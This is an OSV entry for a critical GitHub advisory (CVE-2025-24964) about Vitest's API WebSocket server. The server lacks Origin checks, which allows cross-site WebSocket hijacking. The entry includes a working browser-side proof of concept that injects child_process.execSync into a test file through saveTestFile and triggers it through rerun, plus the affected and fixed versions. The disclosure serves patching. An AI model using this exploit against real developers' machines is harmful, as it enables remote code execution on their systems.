GHSA-9crc-q9x8-hgqq

Suggest an improvement
Source
https://github.com/advisories/GHSA-9crc-q9x8-hgqq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-9crc-q9x8-hgqq/GHSA-9crc-q9x8-hgqq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9crc-q9x8-hgqq
Aliases
  • CVE-2025-24964
Published
2025-02-04T17:00:57Z
Modified
2025-02-04T22:04:09Z
Severity
  • 9.6 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H CVSS Calculator
Summary
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
    // code from https://github.com/WebReflection/flatted
    const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
    
    // actual code to run
    const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
    ws.addEventListener('message', e => {
        console.log(e.data)
    })
    ws.addEventListener('open', () => {
        ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
    
        const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
    
        // edit file content to inject command execution
        ws.send(Flatted.stringify({
          t: 'q',
          i: crypto.randomUUID(),
          m: "saveTestFile",
          a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
        }))
        // rerun the tests to run the injected command execution code
        ws.send(Flatted.stringify({
          t: 'q',
          i: crypto.randomUUID(),
          m: "rerun",
          a: [testFilePath]
        }))
    })
    

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Database specific
{
    "nvd_published_at": "2025-02-04T20:15:50Z",
    "cwe_ids": [
        "CWE-1385"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-04T17:00:57Z"
}
References

Affected packages

npm / vitest

Package

Affected ranges

Type
SEMVER
Events
Introduced
1.0.0
Fixed
1.6.1

npm / vitest

Package

Affected ranges

Type
SEMVER
Events
Introduced
2.0.0
Fixed
2.1.9

npm / vitest

Package

Affected ranges

Type
SEMVER
Events
Introduced
3.0.0
Fixed
3.0.5

npm / vitest

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.0.125